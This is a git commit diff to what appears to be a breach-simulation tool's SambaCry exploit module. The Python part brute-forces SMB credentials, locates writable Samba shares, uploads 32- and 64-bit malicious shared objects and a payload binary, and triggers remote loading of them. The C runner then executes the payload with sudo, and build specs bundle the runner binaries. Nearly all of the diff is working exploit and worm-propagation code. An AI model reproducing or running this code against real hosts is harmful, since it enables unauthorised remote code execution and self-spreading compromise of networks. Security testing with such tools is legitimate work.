sambacry: Add support for using both architectures
This commit is contained in:
parent
75e1877ea7
commit
4ce1653c8f
|
@ -1,6 +1,7 @@
|
||||||
from optparse import OptionParser
|
from optparse import OptionParser
|
||||||
from impacket.dcerpc.v5 import transport
|
from impacket.dcerpc.v5 import transport
|
||||||
from os import path
|
from os import path
|
||||||
|
import time
|
||||||
from impacket.smbconnection import SMBConnection
|
from impacket.smbconnection import SMBConnection
|
||||||
from impacket.smb import SessionError
|
from impacket.smb import SessionError
|
||||||
from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED
|
from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED
|
||||||
|
@ -9,78 +10,163 @@ from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAnd
|
||||||
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
|
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
|
||||||
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \
|
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \
|
||||||
SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA
|
SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA
|
||||||
|
|
||||||
|
from exploit import HostExploiter
|
||||||
|
from exploit.tools import get_target_monkey
|
||||||
|
from smbfinger import SMB_SERVICE
|
||||||
|
from model import DROPPER_ARG
|
||||||
|
from tools import build_monkey_commandline
|
||||||
|
import monkeyfs
|
||||||
|
from config import WormConfiguration
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
# TODO: add documentation
|
# TODO: add documentation
|
||||||
# TODO: add author
|
|
||||||
# TODO: add logs
|
# TODO: add logs
|
||||||
# TODO: add exception handling
|
|
||||||
|
# TODO: add license credit?: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
||||||
|
|
||||||
# TODO: remove /home/user
|
# TODO: remove /home/user
|
||||||
# TODO: take all from config
|
# TODO: take all from config
|
||||||
FOLDER_PATHS_TO_GUESS = ['/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '', '/home/user']
|
FOLDER_PATHS_TO_GUESS = ['', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home', '/home/user']
|
||||||
RUNNER_FILENAME = "monkey_runner.so"
|
RUNNER_FILENAME_32 = "monkey_runner32.so"
|
||||||
|
RUNNER_FILENAME_64 = "monkey_runner64.so"
|
||||||
COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
||||||
MONKEY_FILENAME = "monkey"
|
MONKEY_FILENAME_32 = "monkey32"
|
||||||
|
MONKEY_FILENAME_64 = "monkey64"
|
||||||
|
MONKEY_COPY_FILENAME_32 = "monkey32_2"
|
||||||
|
MONKEY_COPY_FILENAME_64 = "monkey64_2"
|
||||||
|
SHARES_TO_NOT_CHECK = ["IPC$", "print$"]
|
||||||
|
|
||||||
|
|
||||||
def main():
|
class SambaCryExploiter(HostExploiter):
|
||||||
parser = OptionParser()
|
|
||||||
parser.add_option("-t", "--target", dest="target")
|
|
||||||
|
|
||||||
(options, args) = parser.parse_args()
|
|
||||||
if options.target:
|
|
||||||
exploiter = SambaCryExploiter()
|
|
||||||
exploiter.exploit(options.target)
|
|
||||||
else:
|
|
||||||
parser.print_help()
|
|
||||||
|
|
||||||
# TODO: inherit from HostExploiter
|
|
||||||
class SambaCryExploiter:
|
|
||||||
_target_os_type = ['linux']
|
_target_os_type = ['linux']
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.module_binary = ""
|
pass
|
||||||
|
|
||||||
def exploit(self, ip):
|
def exploit_host(self, host, depth=-1, src_path=None):
|
||||||
self.assert_smb_version()
|
self.is_vulnerable(host)
|
||||||
writable_shares = []
|
|
||||||
|
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
|
||||||
|
|
||||||
|
# TODO: decide about ignoring src_path because of arc detection bug
|
||||||
|
src_path = src_path or get_target_monkey(host)
|
||||||
|
|
||||||
|
for share in writable_shares_creds_dict:
|
||||||
|
self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth)
|
||||||
|
|
||||||
|
# TODO: config sleep time
|
||||||
|
time.sleep(5)
|
||||||
|
|
||||||
|
for share in writable_shares_creds_dict:
|
||||||
|
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
|
||||||
|
|
||||||
|
def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth):
|
||||||
|
smb_client = self.connect_to_server(host.ip_addr, creds)
|
||||||
|
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
|
||||||
|
self.trigger_module(smb_client, share)
|
||||||
|
smb_client.logoff()
|
||||||
|
|
||||||
|
def clean_share(self, ip, share, creds):
|
||||||
|
smb_client = self.connect_to_server(ip, creds)
|
||||||
|
tree_id = smb_client.connectTree(share)
|
||||||
|
file_list = [COMMANDLINE_FILENAME, RUNNER_FILENAME_32, RUNNER_FILENAME_64,
|
||||||
|
MONKEY_FILENAME_32, MONKEY_FILENAME_64,
|
||||||
|
MONKEY_COPY_FILENAME_32, MONKEY_COPY_FILENAME_64]
|
||||||
|
|
||||||
|
for filename in file_list:
|
||||||
|
try:
|
||||||
|
smb_client.deleteFile(share, "\\%s" % filename)
|
||||||
|
except:
|
||||||
|
# Ignore exception to try and delete as much as possible
|
||||||
|
pass
|
||||||
|
smb_client.disconnectTree(tree_id)
|
||||||
|
smb_client.logoff()
|
||||||
|
|
||||||
|
def get_writable_shares_creds_dict(self, ip):
|
||||||
|
# TODO: document
|
||||||
|
writable_shares_creds_dict = {}
|
||||||
credentials_list = self.get_credentials_list()
|
credentials_list = self.get_credentials_list()
|
||||||
|
|
||||||
for credentials in credentials_list:
|
for credentials in credentials_list:
|
||||||
smb_client = self.connect_to_server(ip, credentials)
|
smb_client = self.connect_to_server(ip, credentials)
|
||||||
shares = self.list_shares(smb_client)
|
shares = self.list_shares(smb_client)
|
||||||
|
|
||||||
|
# don't try shares we can already write to.
|
||||||
|
for writable_share in writable_shares_creds_dict:
|
||||||
|
if writable_share in shares:
|
||||||
|
shares.remove(writable_share)
|
||||||
|
|
||||||
for share in shares:
|
for share in shares:
|
||||||
if self.upload_module(smb_client, share):
|
if self.is_share_writable(smb_client, share):
|
||||||
writable_shares.append(share)
|
writable_shares_creds_dict[share] = credentials
|
||||||
self.trigger_module(smb_client, share)
|
|
||||||
# TODO: delete remains
|
|
||||||
smb_client.logoff()
|
smb_client.logoff()
|
||||||
|
|
||||||
|
return writable_shares_creds_dict
|
||||||
|
|
||||||
def get_credentials_list(self):
|
def get_credentials_list(self):
|
||||||
# TODO: get credentials from config
|
user_password_pairs = WormConfiguration.get_exploit_user_password_pairs()
|
||||||
return [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
|
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
|
||||||
|
|
||||||
|
for user, password in user_password_pairs:
|
||||||
|
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
|
||||||
|
|
||||||
|
return credentials_list
|
||||||
|
|
||||||
def list_shares(self, smb_client):
|
def list_shares(self, smb_client):
|
||||||
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
||||||
shares.remove("IPC$")
|
for share in SHARES_TO_NOT_CHECK:
|
||||||
|
if share in shares:
|
||||||
|
shares.remove(share)
|
||||||
|
|
||||||
return shares
|
return shares
|
||||||
|
|
||||||
def assert_smb_version(self):
|
def is_vulnerable(self, host):
|
||||||
# TODO: implement
|
if not host.services.has_key(SMB_SERVICE):
|
||||||
|
return False
|
||||||
|
# TODO: check if version is supported
|
||||||
|
# smb_server_name = host.services[SMB_SERVICE].get('name')
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def is_share_writable(self, smb_client, share):
|
||||||
|
# TODO: logs
|
||||||
|
#logging.debug('Checking %s for write access' % shareName)
|
||||||
|
try:
|
||||||
|
#logging.debug('Connecting to share %s' % shareName)
|
||||||
|
tree_id = smb_client.connectTree(share)
|
||||||
|
except Exception as e:
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
|
||||||
|
writable = True
|
||||||
|
except Exception as e:
|
||||||
|
writable = False
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def upload_module(self, smb_client, share):
|
|
||||||
try:
|
|
||||||
tree_id = smb_client.connectTree(share)
|
|
||||||
smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, self.get_monkey_commandline)
|
|
||||||
smb_client.putFile(share, "\\%s" % RUNNER_FILENAME, self.get_monkey_runner_bin)
|
|
||||||
smb_client.putFile(share, "\\%s" % MONKEY_FILENAME, self.get_monkey_bin)
|
|
||||||
smb_client.disconnectTree(tree_id)
|
smb_client.disconnectTree(tree_id)
|
||||||
return True
|
|
||||||
except SessionError as e:
|
return writable
|
||||||
if str(e).find('STATUS_ACCESS_DENIED') >= 0:
|
|
||||||
return False
|
def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth):
|
||||||
raise
|
tree_id = smb_client.connectTree(share)
|
||||||
|
self.write_file_to_server(smb_client, share, COMMANDLINE_FILENAME, self.get_monkey_commandline_supplier(host, depth))
|
||||||
|
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
||||||
|
self.write_file_to_server(smb_client, share, RUNNER_FILENAME_32, monkey_runner_bin_file.read)
|
||||||
|
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
||||||
|
self.write_file_to_server(smb_client, share, RUNNER_FILENAME_64, monkey_runner_bin_file.read)
|
||||||
|
with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file:
|
||||||
|
# TODO: Fix or postpone 32/64 architecture problem.
|
||||||
|
self.write_file_to_server(smb_client, share, MONKEY_FILENAME_32, monkey_bin_file.read)
|
||||||
|
self.write_file_to_server(smb_client, share, MONKEY_FILENAME_64, monkey_bin_file.read)
|
||||||
|
smb_client.disconnectTree(tree_id)
|
||||||
|
|
||||||
|
def write_file_to_server(self, smb_client, share, file_name, file_handle):
|
||||||
|
smb_client.putFile(share, "\\%s" % file_name, file_handle.read)
|
||||||
|
file_handle.close()
|
||||||
|
|
||||||
def connect_to_server(self, ip, credentials):
|
def connect_to_server(self, ip, credentials):
|
||||||
"""
|
"""
|
||||||
|
@ -119,29 +205,31 @@ class SambaCryExploiter:
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
def generate_module_possible_paths(self, share_name):
|
def generate_module_possible_paths(share_name):
|
||||||
"""
|
"""
|
||||||
Generates array of possible paths
|
Generates array of possible paths
|
||||||
:param share_name: Name of the share
|
:param share_name: Name of the share
|
||||||
:return: Array of possible full paths to the module.
|
:return: Array of possible full paths to the module.
|
||||||
"""
|
"""
|
||||||
return (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME)) for folder_path in FOLDER_PATHS_TO_GUESS)
|
possible_paths_32 =\
|
||||||
|
(('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_32)) for folder_path in FOLDER_PATHS_TO_GUESS)
|
||||||
|
possible_paths_64 = \
|
||||||
|
(('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME_64)) for folder_path in FOLDER_PATHS_TO_GUESS)
|
||||||
|
return possible_paths_32 + possible_paths_64
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_monkey_bin():
|
def get_monkey_runner_bin_file(is_32bit):
|
||||||
# TODO
|
# TODO: get from config
|
||||||
pass
|
if is_32bit:
|
||||||
|
return open("sc_monkey_runner32.so", "rb")
|
||||||
|
else:
|
||||||
|
return open("sc_monkey_runner64.so", "rb")
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_monkey_runner_bin():
|
def get_monkey_commandline_supplier(host, depth):
|
||||||
# TODO
|
return lambda x: DROPPER_ARG + build_monkey_commandline(host, depth - 1)
|
||||||
pass
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_monkey_commandline():
|
|
||||||
# TODO
|
|
||||||
pass
|
|
||||||
|
|
||||||
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
||||||
|
|
||||||
|
@ -225,6 +313,3 @@ class SambaCryExploiter:
|
||||||
else:
|
else:
|
||||||
return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
|
return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
|
||||||
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
|
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
|
||||||
|
|
||||||
if __name__=="__main__":
|
|
||||||
main()
|
|
|
@ -14,6 +14,10 @@ a = Analysis(['main.py'],
|
||||||
win_no_prefer_redirects=None,
|
win_no_prefer_redirects=None,
|
||||||
win_private_assemblies=None,
|
win_private_assemblies=None,
|
||||||
cipher=block_cipher)
|
cipher=block_cipher)
|
||||||
|
|
||||||
|
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
|
||||||
|
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
|
||||||
|
|
||||||
pyz = PYZ(a.pure, a.zipped_data,
|
pyz = PYZ(a.pure, a.zipped_data,
|
||||||
cipher=block_cipher)
|
cipher=block_cipher)
|
||||||
exe = EXE(pyz,
|
exe = EXE(pyz,
|
||||||
|
|
|
@ -7,6 +7,10 @@ a = Analysis(['main.py'],
|
||||||
hookspath=None,
|
hookspath=None,
|
||||||
runtime_hooks=None)
|
runtime_hooks=None)
|
||||||
|
|
||||||
|
|
||||||
|
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
|
||||||
|
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
|
||||||
|
|
||||||
if platform.system().find("Windows")>= 0:
|
if platform.system().find("Windows")>= 0:
|
||||||
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
||||||
if platform.architecture()[0] == "32bit":
|
if platform.architecture()[0] == "32bit":
|
||||||
|
|
|
@ -6,16 +6,31 @@
|
||||||
|
|
||||||
#include "monkey_runner.h"
|
#include "monkey_runner.h"
|
||||||
|
|
||||||
|
#if __x86_64__
|
||||||
|
#define ARC_IS_64
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if _____LP64_____
|
||||||
|
#define ARC_IS_64
|
||||||
|
#endif
|
||||||
|
|
||||||
#define LINE_MAX_LENGTH (2048)
|
#define LINE_MAX_LENGTH (2048)
|
||||||
#define MAX_PARAMETERS (30)
|
#define MAX_PARAMETERS (30)
|
||||||
|
|
||||||
int samba_init_module(void)
|
int samba_init_module(void)
|
||||||
{
|
{
|
||||||
const char RUNNER_FILENAME[] = "monkey_runner.so";
|
#if ARC_IS_64
|
||||||
|
const char RUNNER_FILENAME[] = "monkey_runner64.so";
|
||||||
|
const char MONKEY_NAME[] = "monkey64";
|
||||||
|
const char MONKEY_COPY_NAME[] = "monkey64_2";
|
||||||
|
#else
|
||||||
|
const char RUNNER_FILENAME[] = "monkey_runner32.so";
|
||||||
|
const char MONKEY_NAME[] = "monkey32";
|
||||||
|
const char MONKEY_COPY_NAME[] = "monkey32_2";
|
||||||
|
#endif
|
||||||
|
|
||||||
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
|
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
|
||||||
const char ACCESS_MODE_STRING[] = "0777";
|
const char ACCESS_MODE_STRING[] = "0777";
|
||||||
const char MONKEY_NAME[] = "monkey";
|
|
||||||
const char MONKEY_COPY_NAME[] = "monkey2";
|
|
||||||
const char RUN_MONKEY_CMD[] = "sudo ./";
|
const char RUN_MONKEY_CMD[] = "sudo ./";
|
||||||
|
|
||||||
int found = 0;
|
int found = 0;
|
||||||
|
|
Loading…
Reference in New Issue